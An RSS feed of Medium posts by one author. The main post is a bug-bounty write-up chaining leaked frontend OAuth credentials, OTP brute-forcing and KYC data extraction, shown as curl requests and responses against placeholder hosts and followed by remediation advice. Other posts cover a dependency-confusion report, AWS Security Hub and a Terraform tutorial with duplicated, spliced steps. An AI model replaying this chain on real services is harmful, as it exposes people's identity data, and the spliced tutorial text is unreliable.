<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Brian Bange on Medium]]></title>
        <description><![CDATA[Stories by Brian Bange on Medium]]></description>
        <link>https://medium.com/@Brian_Bange?source=rss-d9d06d9d059b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*SmTAkqyzgk_qAwWT</url>
            <title>Stories by Brian Bange on Medium</title>
            <link>https://medium.com/@Brian_Bange?source=rss-d9d06d9d059b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 19:28:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Brian_Bange/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From Leaked API Key to Full Account Takeover: Uncovering a Mass PII Vulnerability]]></title>
            <link>https://medium.com/@Brian_Bange/from-leaked-api-key-to-full-account-takeover-uncovering-a-mass-pii-vulnerability-228a4a3d6bef?source=rss-d9d06d9d059b------2</link>
            <guid isPermaLink="false">https://medium.com/p/228a4a3d6bef</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-app-pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Brian Bange]]></dc:creator>
            <pubDate>Sat, 26 Sep 2026 03:52:31 GMT</pubDate>
            <atom:updated>2026-09-26T04:42:00.564Z</atom:updated>
            <content:encoded><![CDATA[<p>Hardcoded frontend secrets are often treated as minor hygiene flaws — until they sit at the entrance of a chain that blows open entire customer databases.</p><p>Recently, while auditing a major enterprise financial services portal operated by a leading telecommunications provider, I stumbled across a classic developer shortcut in a frontend JavaScript chunk. What started as exposed OAuth2 credentials quickly cascaded into an unauthenticated full account takeover and mass KYC data exfiltration affecting every registered merchant.</p><p>Here is the technical breakdown of how a single client-side leak dismantled multi-factor authentication and exposed customer identities at scale.</p><h3>Phase 1: The Client-Side Leak</h3><p>Modern Next.js and React portals frequently bundle dynamic routing and API orchestration into public static chunks. While analyzing the client-side JavaScript assets on the organization’s commercial onboarding portal at business.example.com, I ran a targeted regex sweep for common authentication patterns.</p><p>Buried inside an Axios client instantiation was a hardcoded production API keypair:</p><pre>// Excerpt from compiled client bundle: app-bundle.js<br>5352: function(e, t, n) {<br>    var a, l = n(50029), r = n(87794);<br>    s = n(5121).Z.create({<br>        baseURL: &quot;https://api.example-gateway.com/&quot;,<br>        headers: {<br>            &quot;Content-Type&quot;: &quot;application/json&quot;<br>        },<br>        auth: {<br>            username: &quot;live_client_id_8f92j3k4&quot;,<br>            password: &quot;live_secret_938jf4k2l1&quot;<br>        }<br>    });<br><br>    l = (a = (0, l.Z)(o().mark(function callee() {<br>        return o().wrap(function(t) {<br>            for (;;) switch (t.prev = t.next) {<br>                case 0:<br>                    return t.next = 3, s.get(&quot;oauth/cors/v1/generate?grant_type=client_credentials&quot;)<br>                        .then(function(t) {<br>                            return t.data.access_token;<br>                        });<br>                case 3:<br>                    return t.abrupt(&quot;return&quot;);<br>                case &quot;end&quot;:<br>                    return t.stop();<br>            }<br>        });<br>    })));<br>}</pre><p>The developers had embedded raw client_credentials directly into client-side code to fetch OAuth2 tokens on page load — completely bypassing the standard practice of handling token exchanges on a backend proxy.</p><h3>Phase 2: Minting an Unauthenticated Production Bearer Token</h3><p>With the credentials in hand, Base64-encoding the client ID and secret allowed me to interact directly with the production API gateway via cURL:</p><pre>curl -X GET &quot;https://api.example-gateway.com/oauth/cors/v1/generate?grant_type=client_credentials&quot; \<br>  -H &quot;Authorization: Basic bGl2ZV9jbGllbnRfaWRfOGY5Mmo...==&quot;</pre><p>The gateway responded immediately with a live production Bearer token:</p><pre>{<br>  &quot;access_token&quot;: &quot;eyJhbGciOiJSUzI1NiIs...&quot;,<br>  &quot;expires_in&quot;: &quot;3599&quot;<br>}</pre><p>This token was valid for 60 minutes. More critically, because the embedded credentials were completely static, fresh tokens could be minted programmatically at will without any session expiration barrier.</p><h3>Phase 3: Triggering Unthrottled OTPs</h3><p>With the Bearer token active, I probed the portal’s internal operational APIs. One endpoint immediately stood out: the generate-otp endpoint.</p><p>The endpoint allowed any caller with the bearer token to trigger an SMS verification code to any subscriber number on the telecom network:</p><pre>curl -X POST &quot;https://business.example.com/api/generate-otp&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;msisdn&quot;: &quot;07XXXXXXXX&quot;,<br>    &quot;token&quot;: &quot;Bearer eyJhbGciOiJSUzI1NiIs...&quot;<br>  }&#39;</pre><p>The server dispatched an official SMS OTP to the target phone number immediately. There was no rate-limiting header, no sender validation, and no check on whether the caller owned the MSISDN.</p><h3>Phase 4: Exploiting the 4-Digit OTP (The 33-Minute Keyhole)</h3><p>Authentication flows that rely on One-Time Passwords require two mandatory controls: high entropy and aggressive rate limiting. This endpoint had neither.</p><p>Inspecting the validation endpoint revealed that the OTP was strictly numeric and only 4 digits, meaning there were only 10,000 possible combinations from 0000 to 9999. Furthermore, the endpoint was completely unthrottled: there was no progressive delay, no CAPTCHA challenge, and no account lockout mechanism upon repeated failures.</p><p>Testing an invalid code returned an unmetered 712 error response:</p><pre>curl -X POST &quot;https://business.example.com/api/validate-otp&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;otp&quot;: &quot;0000&quot;,<br>    &quot;msisdn&quot;: &quot;07XXXXXXXX&quot;,<br>    &quot;token&quot;: &quot;Bearer eyJhbGciOiJSUzI1NiIs...&quot;<br>  }&#39;<br><br># Response:<br># {&quot;header&quot;:{&quot;responseCode&quot;:&quot;712&quot;,&quot;responseMessage&quot;:&quot;Invalid OTP provided. Please try again.&quot;},&quot;body&quot;:&quot;{}&quot;}</pre><p>The math on the attack surface was clear:</p><ul><li>Each request completed in approximately 200 ms.</li><li>At a conservative single-threaded rate of 5 requests per second, the entire 10,000-permutation keyspace could be brute-forced in roughly 33 minutes.</li><li>Because the bearer token lived for 60 minutes, and could be refreshed indefinitely, a successful brute-force was completely deterministic within a single token lifecycle.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i61Pz6AJdYtSsIRCXvDNwA.png" /></figure><p>When the correct 4-digit code hit, the API returned an authenticated session identifier:</p><pre>{<br>  &quot;header&quot;: {<br>    &quot;responseCode&quot;: &quot;200&quot;,<br>    &quot;responseMessage&quot;: &quot;Valid OTP provided. Thank you.&quot;<br>  },<br>  &quot;body&quot;: {<br>    &quot;sessionId&quot;: &quot;b49d70a0-abcd-4596-87a9-8a2f7efc6262&quot;<br>  }<br>}</pre><h3>Phase 5: The Full KYC Exfiltration</h3><p>Once the authenticated session ID was paired with the target phone number, the portal exposed an endpoint designed to pull merchant registration records</p><pre>curl -X POST &quot;https://api.example-gateway.com/api/v2/get/applications/msisdn&quot; \<br>  -H &quot;Authorization: Bearer eyJhbGciOiJSUzI1NiIs...&quot; \<br>  -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;phoneNumber&quot;: &quot;07XXXXXXXX&quot;,<br>    &quot;sessionId&quot;: &quot;b49d70a0-abcd-4596-87a9-8a2f7efc6262&quot;,<br>    &quot;page&quot;: 0,<br>    &quot;size&quot;: 10<br>  }&#39;</pre><p>The server dumped the complete, unmasked customer KYC record:</p><pre>{<br>  &quot;body&quot;: {<br>    &quot;content&quot;: [<br>      {<br>        &quot;applicantDocumentType&quot;: &quot;National ID&quot;,<br>        &quot;applicantDocumentNumber&quot;: &quot;12345678&quot;,<br>        &quot;applicantNames&quot;: &quot;John Doe&quot;,<br>        &quot;applicantPhoneNumber&quot;: &quot;07XXXXXXXX&quot;,<br>        &quot;applicantEmailAddress&quot;: &quot;merchant@gmail.com&quot;,<br>        &quot;applicantBusinessAddress&quot;: &quot;123 Commerce St&quot;,<br>        &quot;businessProfileName&quot;: &quot;Example Retailers&quot;,<br>        &quot;businessProfileCategory&quot;: &quot;Retail&quot;,<br>        &quot;businessProfileKrapin&quot;: &quot;P123456789X&quot;,<br>        &quot;tillNumber&quot;: &quot;123456&quot;,<br>        &quot;organizationShortCode&quot;: &quot;987654&quot;,<br>        &quot;status&quot;: &quot;APPROVED&quot;<br>      }<br>    ]<br>  },<br>  &quot;header&quot;: {<br>    &quot;responseCode&quot;: &quot;200&quot;,<br>    &quot;responseMessage&quot;: &quot;SUCCESS&quot;<br>  }<br>}</pre><h3>The Impact Chain</h3><ol><li><strong>Mass Identity Theft &amp; PII Harvesting:</strong> An attacker could iterate through sequential phone prefixes and siphon thousands of government IDs, full legal names, physical addresses, and tax PINs without ever raising an alarm.</li><li><strong>Account Takeover &amp; Financial Fraud:</strong> Hijacking the merchant session allows an attacker to alter till settlement settings, impersonate business operators, and pivot to unauthorized financial actions.</li><li><strong>Targeted Spear Phishing:</strong> Attackers armed with exact Till numbers, official legal names, and business categories can craft flawless social engineering lures against merchant operators.</li></ol><h3>Mitigation &amp; Remediation</h3><p>The root cause was not merely an exposed key, but architectural trust placed in a client browser:</p><ol><li><strong>Move Token Exchanges to Server-Side:</strong> Secrets must never reside in frontend JavaScript bundles. The browser should authenticate against a first-party backend proxy via secure HTTP-only cookies, leaving the backend to handle OAuth2 exchanges with the gateway.</li><li><strong>Rotate and Invalidate Credentials Immediately:</strong> Revoke leaked client IDs and secrets across all production environments.</li><li><strong>Harden OTP Workflows:</strong></li></ol><ul><li>Upgrade to 6-digit cryptographic OTPs to ensure 1,000,000 combinations.</li><li>Implement strict rate limits, such as a maximum of 5 incorrect attempts before invalidating the token.</li><li>Enforce exponential backoffs and CAPTCHA validation.</li></ul><p><strong>4. Enforce Object-Level Authorization (BOLA):</strong> Ensure backend endpoints cryptographically verify that the requested phone number matches the verified identity bound to the active session.</p><h3>Key Takeaway</h3><p>Never overlook client-side JavaScript. A single hardcoded string can compromise an entire authentication perimeter when downstream APIs assume that possessing a valid token equals authorized business access.</p><p>Responsible disclosure filed, remediated, and on to the next hunt!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=228a4a3d6bef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From N/A to $$$: How a 4-Month Dead Report Became My First Bug Bounty Win]]></title>
            <link>https://medium.com/@Brian_Bange/from-n-a-to-how-a-4-month-dead-report-became-my-first-bug-bounty-win-3b2338c86a31?source=rss-d9d06d9d059b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b2338c86a31</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[web-app-pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Brian Bange]]></dc:creator>
            <pubDate>Fri, 11 Sep 2026 14:00:02 GMT</pubDate>
            <atom:updated>2026-09-11T14:00:02.591Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’re grinding your first year in bug bounty, you know the feeling. You spend hours hunting, finally submit what looks like a great bug, and wake up to the dreaded “Not Applicable” (N/A) or “Duplicate.”</p><p>For months, my dashboard was a graveyard of rejected reports. But my very first bounty payout didn’t come from a fresh submission — it came from a 4-month-old N/A report that miraculously came back from the dead.</p><p>Here is the story of how I found a supply chain vulnerability, lost it to strict triage rules, and used a little bit of professional social engineering to secure the win.</p><h3>The Find: Leaking Internal Scopes</h3><p>While hacking on a massive private program ([REDACTED_COMPANY]), I started digging through their compiled frontend JavaScript bundles. Inside a heavily obfuscated clientlib file, I spotted a recurring module path:</p><p>@redacted-scope/core</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*gxT7Hut_3t8SWE4_cIOcmg.png" /></figure><p>I immediately checked the public npm registry. <strong>The </strong><strong>@redacted-scope organization didn&#39;t exist.</strong></p><p>Knowing the risk of Dependency Confusion (where a misconfigured internal proxy pulls a public malicious package instead of the internal one), I moved fast. To protect the company and prove the concept, I registered the scope on the public npm registry and published a completely empty, benign PoC package. I secured the namespace before a real threat actor could.</p><h3>The Brick Wall: Triage Says “No”</h3><p>I wrote up a detailed report and submitted it. I was hyped.</p><p>Days later, triage closed it as N/A.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*WNNjwdMzTi1hisUebHEIDg.png" /></figure><p>Their reasoning? I didn’t provide a pingback or run whoami on the internal build servers. Without proof of execution, triage assumed the company&#39;s internal proxies successfully blocked public fallbacks. Because I played it safe and ethical—refusing to drop a reverse shell in my package—the report was killed. I took the reputation hit and moved on.</p><h3>The Plot Twist: “Can we have our namespace back?”</h3><p>Four months passed. I was still grinding away when an email suddenly landed in my inbox from a Product Owner at [REDACTED_COMPANY].</p><p>They noticed my PoC on npm. They politely explained they needed the namespace for their internal developers and asked if I would transfer ownership to them.</p><p>This was my golden ticket.</p><h3>The Reversal: Professionalism Pays Off</h3><p>I replied immediately. I didn’t hold the scope hostage, and I didn’t demand money. I simply said:</p><p><em>“I am happy to transfer this to your maintainers today. However, I actually responsibly disclosed this exact issue to your bug bounty program months ago, but it was closed as N/A because I refused to execute unauthorized code on your servers to prove impact. Could your security team take a second look?”</em></p><p>A few days later, the client logged directly into the platform. They confirmed that while my package was technically blocked by their defenses, leaving the namespace vulnerable to hijacking was a major administrative oversight. They cited my report as highlighting a critical “best practice,” completely overruled the triage team, and reopened the ticket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*yqxCmmFbPjCcZbU2jZQjSA.png" /></figure><p>Shortly after, I was awarded my very first bounty <strong>$$$</strong>.</p><h3>The Takeaway</h3><ol><li><strong>Stay Ethical:</strong> If I had tried to force an RCE to please triage, I might have violated the rules of engagement. Playing it safe allowed me to have a professional conversation with the client months later.</li><li><strong>Never Hold Assets Hostage:</strong> Gracefully handing over the npm scope built the goodwill needed for the client to advocate for me internally.</li><li><strong>Keep Grinding:</strong> If you are drowning in N/As, keep going. Your breakthrough is coming.</li></ol><p>The first win is the hardest. Now, it’s back to the hunt!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b2338c86a31" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling the power of AWS Security Hub: Strengthen your Cloud Security]]></title>
            <link>https://medium.com/@Brian_Bange/unveiling-the-power-of-aws-security-hub-strengthen-your-cloud-security-c9a11659f22c?source=rss-d9d06d9d059b------2</link>
            <guid isPermaLink="false">https://medium.com/p/c9a11659f22c</guid>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-security-hub]]></category>
            <dc:creator><![CDATA[Brian Bange]]></dc:creator>
            <pubDate>Sat, 03 Feb 2024 07:06:38 GMT</pubDate>
            <atom:updated>2024-02-03T20:33:49.004Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*992tpVy3f_pMkPiv" /></figure><p><em>In the fast-paced world of cloud computing, security is paramount. Enter AWS Security Hub — your ally in consolidating alerts, automating checks, and fortifying your AWS environment. In this blog, we’ll unravel the essentials, explore integrations, and discover how AWS Security Hub is your strategic companion in crafting a resilient cloud defense. Let’s dive in.</em></p><h3>What is AWS Security Hub?</h3><p>AWS Security Hub is a fully managed security service provided by Amazon Web Services (AWS) designed to help users consolidate and prioritize security alerts and findings from various AWS services and third-party sources. It provides a centralized view of security data, making it easier for organizations to identify and remediate potential security issues in their AWS environment.</p><h3>How AWS Security Hub Works:</h3><blockquote><em>Aggregation of Security Findings:</em></blockquote><p>AWS Security Hub aggregates security findings from various AWS services such as Amazon GuardDuty, Amazon Inspector, AWS Config, AWS IAM (Identity and Access Management), and others.</p><blockquote><em>Consolidated View:</em></blockquote><blockquote>It creates a consolidated view of security alerts and findings, providing a unified dashboard for security teams to monitor and analyze their AWS environment’s security posture.</blockquote><blockquote><em>Prioritization and Severity Levels:</em></blockquote><p>AWS Security Hub categorizes and prioritizes findings based on severity levels. This helps organizations focus on addressing the most critical issues first, improving the efficiency of their security operations.</p><blockquote><em>Automated Compliance Checks:</em></blockquote><p>The service performs automated continuous compliance checks against AWS best practices and industry standards, ensuring that the organization’s AWS environment aligns with security benchmarks.</p><blockquote><em>Custom Actions and Automated Responses:</em></blockquote><p>Users can define custom actions to automate responses to security findings. This feature enables organizations to implement automated remediation workflows based on their specific security requirements.</p><blockquote><em>Integration with AWS Services:</em></blockquote><p>AWS Security Hub seamlessly integrates with various AWS services, enhancing its capabilities. This integration allows security teams to have a comprehensive and centralized security view within the AWS ecosystem.</p><blockquote><em>Integration with Third-Party Providers:</em></blockquote><p>In addition to AWS services, AWS Security Hub supports integration with third-party security tools and providers. This ensures flexibility and interoperability, allowing organizations to use their preferred security solutions while still centralizing information within AWS Security Hub.</p><h3>Why AWS Security Hub is Necessary:</h3><p>AWS Security Hub is a critical component for organizations utilizing the Amazon Web Services (AWS) cloud, serving as a centralized hub for security management. It plays a pivotal role by consolidating security findings from different AWS services and third-party tools, offering a comprehensive view of potential threats. This centralized approach allows for efficient prioritization of security issues through severity scores, enabling organizations to focus on addressing the most critical vulnerabilities promptly. The service also facilitates automated compliance checks against established security standards, ensuring adherence to best practices without manual intervention. With the ability to define custom actions and automate responses, Security Hub empowers organizations to tailor their incident response strategies. The insights, visualizations, and integration with AWS Organizations further enhance the overall understanding and management of security across diverse cloud environments. In essence, AWS Security Hub is indispensable for organizations seeking a streamlined and proactive approach to maintaining a robust security posture in the AWS cloud.</p><h3>Key Features of AWS Security Hub:</h3><p><strong>Consolidated View of Security Alerts:</strong> AWS Security Hub provides a centralized dashboard, offering a unified view of security alerts and findings from different sources within the AWS environment. This consolidated view facilitates efficient monitoring and response to potential security issues.</p><p><strong>Compliance Status Checking:</strong> The service includes automated compliance checks against AWS best practices and industry standards. This feature ensures that organizations maintain a secure and compliant infrastructure by identifying and addressing any deviations from established security benchmarks.</p><p><strong>Integration with Various AWS Services:</strong> AWS Security Hub seamlessly integrates with a range of AWS services, including AWS IAM (Identity and Access Management), Amazon GuardDuty, Amazon Inspector, and AWS Config. This integration allows Security Hub to aggregate security findings from these services, providing a comprehensive security overview.</p><p><strong>Automated Security Checks:</strong> Automation is a key aspect of AWS Security Hub. The service performs automated security checks continuously, allowing for the prompt identification of potential vulnerabilities, misconfigurations, or security threats within the AWS environment.</p><p><strong>Custom Insights and Findings:</strong> AWS Security Hub empowers users to define custom actions and insights based on their specific security requirements. This customization enables organizations to tailor the platform to their unique needs, creating automated responses and gaining insights relevant to their security strategy.</p><p><strong>AWS IAM (Identity and Access Management):</strong> AWS IAM integrates with Security Hub, providing information about identity and access-related security findings. This includes details about permissions, user activities, and potential security risks related to access controls.</p><p><strong>Amazon GuardDuty:</strong> Amazon GuardDuty, a threat detection service, integrates with Security Hub to consolidate findings related to potential security threats in the AWS environment. This integration enhances the Security Hub dashboard with comprehensive threat intelligence.</p><p><strong>Amazon Inspector:</strong> Amazon Inspector, a vulnerability assessment service, contributes findings to AWS Security Hub. These findings are related to security issues in applications deployed on AWS, allowing for a prioritized and centralized approach to vulnerability management.</p><p><strong>AWS Config:</strong> AWS Config provides detailed information about AWS resources and configurations. Integration with Security Hub allows AWS Config findings to contribute to the overall security view, enabling organizations to assess and manage resource compliance.</p><p><strong>Firewall Managers:</strong> Third-party firewall managers can integrate with AWS Security Hub, providing information and findings related to network security, firewall rules, and potential threats. This integration enhances visibility and response capabilities for network-related security events.</p><p><strong>Endpoint Security:</strong> Endpoint security solutions from third-party providers integrate with AWS Security Hub, contributing findings related to the security status of endpoints within the AWS environment. This integration enhances visibility into potential threats affecting endpoints.</p><p><strong>Security Information &amp; Event Management (SIEM):</strong> Third-party SIEM solutions integrate with AWS Security Hub to centralize and analyze security event data. This integration allows organizations to correlate AWS-specific security events with broader security information, facilitating a comprehensive security monitoring strategy.</p><h3>Role of CloudWatch:</h3><p>CloudWatch, AWS’s monitoring and observability service, plays a vital role in the AWS Security Hub ecosystem. It enables Security Hub to integrate with CloudWatch Events, allowing organizations to create event-driven responses based on specific security findings or changes in their security posture. This integration enhances the overall efficiency of security workflows.</p><p><strong>In conclusion</strong>, AWS Security Hub emerges as a crucial defender in the ever-evolving realm of cloud security. By providing a consolidated view of security alerts, automating compliance checks, and integrating seamlessly with a variety of AWS services and third-party solutions, Security Hub empowers organizations to maintain a proactive and robust security posture.</p><p>Its role as a central hub not only streamlines security operations but also allows for customized insights and actions, providing a tailored approach to security management. As we navigate the dynamic landscape of cloud computing, the need for a comprehensive and responsive security solution is more evident than ever.</p><p>AWS Security Hub, with its ability to aggregate, prioritize, and automate, becomes a strategic asset for organizations aiming to stay ahead of potential threats. It’s not just a tool; it’s a partner in building a resilient and secure AWS environment. Embrace the capabilities of AWS Security Hub and elevate your cloud security strategy to new heights. Your journey to a safer, more secure cloud begins with AWS Security Hub at the helm.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c9a11659f22c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Devops zero to hero #1 — Terraform on AWS]]></title>
            <link>https://medium.com/@Brian_Bange/devops-zero-to-hero-1-terraform-on-aws-c0aa91daa376?source=rss-d9d06d9d059b------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0aa91daa376</guid>
            <dc:creator><![CDATA[Brian Bange]]></dc:creator>
            <pubDate>Thu, 18 Jan 2024 07:56:15 GMT</pubDate>
            <atom:updated>2024-01-19T09:13:16.089Z</atom:updated>
            <content:encoded><![CDATA[<h3>Devops zero to hero #1 — Terraform on AWS</h3><p>If you look at the architectural diagram below, you will get a basic understanding of what we are trying to do here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*rCXhDJCLcEAhmOW1.png" /></figure><p>I will go ahead and explain it anyway for the users who are new to AWS.</p><p>We will be deploying two ec2 instances. One will be on a public subnet, and the other on a private subnet. EC2 instance in a public subnet will have a public IP to connect to the Internet, given that you have configured an Internet gateway for VPC and created a route from the subnet to the Internet gateway.</p><p>The private EC2 instance will not have a public IP, keeping it isolated from anyone on the Internet. Even though we are not allowing it to be reachable from the Internet, we still need a way for EC2 instances to download patches. To do this, we will use the magic of the NAT gateway.</p><p>We will create a NAT gateway in the public subnet and assign it a static IP(Elastic IP). We will also configure the routes for the private subnet to talk to NAT, enabling the EC2 instance in the private subnet to download the software updates.</p><h3>What is the purpose of this blog post?</h3><p>This blog post is the first post of the series Devops on AWS that intends to teach you devops by doing hands-on exercises using AWS and multiple devops tools.</p><p>In this blog post, I will use Terraform to deploy a real-world infrastructure on AWS. It will teach you how to use various AWS services with each other and how to deploy them using a decent-looking Terraform code.</p><h3>Terraform code</h3><p>Let’s get started with the fun part. I will explain all the pieces one by one.Now we can get to the code-writing part —</p><ol><li>We will use the Terraform data source block to get the value of the latest AMI.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*NINRwTXha1lXL5nB.png" /></figure><p>Data sources allow you to query and import external data( existing resources) within your Terraform configuration without managing their lifecycle.</p><ol><li>Setup variables and local variables</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*3UngHWm28AlMK2PT.png" /></figure><p>Locals let you centrally manage the common variables used in your configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*pbVgTRXKXHpY7eUU.png" /></figure><ol><li>Setting up providers and state backend.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*UGyY4YZsGX6t8K8N.png" /></figure><p>We have used the local state for Terraform for ease, although it’s recommended to use a remote state( with an s3 bucket) and configure state locking.</p><h3>Why we should use a remote state?</h3><p><em>This allows multiple developers or teams to work on the same infrastructure project without overwriting each other’s changes.</em></p><h3>Why do we need state-locking?</h3><p><em>State file locking is a Terraform mechanism that prevents operations on a specific state file from being performed by multiple users at the same time.</em></p><p><strong>Some backends such as gcs(Google Cloud Storage) provide state locking by default. AWS s3 doesn’t provide state locking, we can use the dynamo db table for the state locking mechanism.</strong></p><p>If you want to use a remote backend, use the below snippet instead.</p><pre>terraform {<br>  backend &quot;s3&quot; {<br>    bucket         = &quot;my-backend-devops101-terraform&quot;<br>    key            = &quot;tfstate/terraform.tfstate&quot;<br>    region         = &quot;ap-south-1&quot;<br>    encrypt        = true<br>    dynamodb_table = &quot;terraform-lock-table&quot;<br>  }<br>}</pre><p><strong>Now that we have taken care of the basic configuration — let’s head to the part where we create the rest of the Terraform config to deploy the resources as per the architecture diagram we saw at the start.</strong></p><ol><li>Create a VPC with 10.0.0.0/16 CIDR block</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*GSSRDei1gmML25JH.png" /></figure><p>2. Create 2 subnets, one public subnet with CIDR block 10.0.1.0/24 and one private subnet with 10.0.2.0/24 CIDR block.We will use the Terraform data source block to get the value of the latest AMI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*hafXhQtkYqFy6YVn.png" /></figure><p>Data sources allow you to query and import external data( existing resources) within your Terraform configuration without managing their lifecycle.</p><ol><li>Setup variables and local variables</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ypZMDqi9MaILp0mq.png" /></figure><p>Locals let you centrally manage the common variables used in your configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*89EtvScD_c1Kdiqe.png" /></figure><ol><li>Setting up providers and state backend.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*D6-4Ep7xw5RqW20o.png" /></figure><p>We have used the local state for Terraform for ease, although it’s recommended to use a remote state( with an s3 bucket) and configure state locking.</p><h3>Why we should use a remote state?</h3><p><em>This allows multiple developers or teams to work on the same infrastructure project without overwriting each other’s changes.</em></p><h3>Why do we need state-locking?</h3><p><em>State file locking is a Terraform mechanism that prevents operations on a specific state file from being performed by multiple users at the same time.</em></p><p><strong>Some backends such as gcs(Google Cloud Storage) provide state locking by default. AWS s3 doesn’t provide state locking, we can use the dynamo db table for the state locking mechanism.</strong></p><p>If you want to use a remote backend, use the below snippet instead.</p><pre>terraform {<br>  backend &quot;s3&quot; {<br>    bucket         = &quot;my-backend-devops101-terraform&quot;<br>    key            = &quot;tfstate/terraform.tfstate&quot;<br>    region         = &quot;ap-south-1&quot;<br>    encrypt        = true<br>    dynamodb_table = &quot;terraform-lock-table&quot;<br>  }<br>}</pre><p><strong>Now that we have taken care of the basic configuration — let’s head to the part where we create the rest of the Terraform config to deploy the resources as per the architecture diagram we saw at the start.</strong></p><ol><li>Create a VPC with 10.0.0.0/16 CIDR block</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*4nbhoEkvjEg-k8BR.png" /></figure><p>2. Create 2 subnets, one public subnet with CIDR block 10.0.1.0/24 and one private subnet with 10.0.2.0/24 CIDR block.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*x_6r1BEJnfbEqt20.png" /></figure><p>3. Create one internet gateway and attach that to VPC.2. Create 2 subnets, one public subnet with CIDR block 10.0.1.0/24 and one private subnet with 10.0.2.0/24 CIDR block.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*giUM1I2uTV_d_YJv.png" /></figure><p>4. Create an elastic IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>5. Create one NAT gateway in a public subnet using the elastic IP created in the last step.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>6. Create two route tables, one for each subnet (private and public).</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>7. Create two routes, one for the public subnet and another for the private subnet. The private route will use the Nat gateway, and the public route will use the Internet gateway as gateway_id</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>8. Create routes association to private and public subnets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>9. Create a security group that allows SSH connection to both ec2 instances.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>10. Create two ec2 instances, one in a public subnet and the other on a private subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>I have kept all the code in my <a href="https://github.com/akhileshmishrabiz/master-devops-project/tree/main/project-1">public GitHub repo.</a></p><p>Let’s deploy this code and see the magic of Infrastructure as code. We will be deploying the resources by running Terraform commands manually.</p><h3>Prerequisites</h3><p>Before we can deploy infra on AWS, we need to create a user(or a service user) and generate the access keys and secret.</p><p>Open the AWS console and head to IAM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><p>Create the user and attach the administrator permissions to it. Then go to user scroll down to the security credentials tab and create.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /></figure><figure><img alt="" 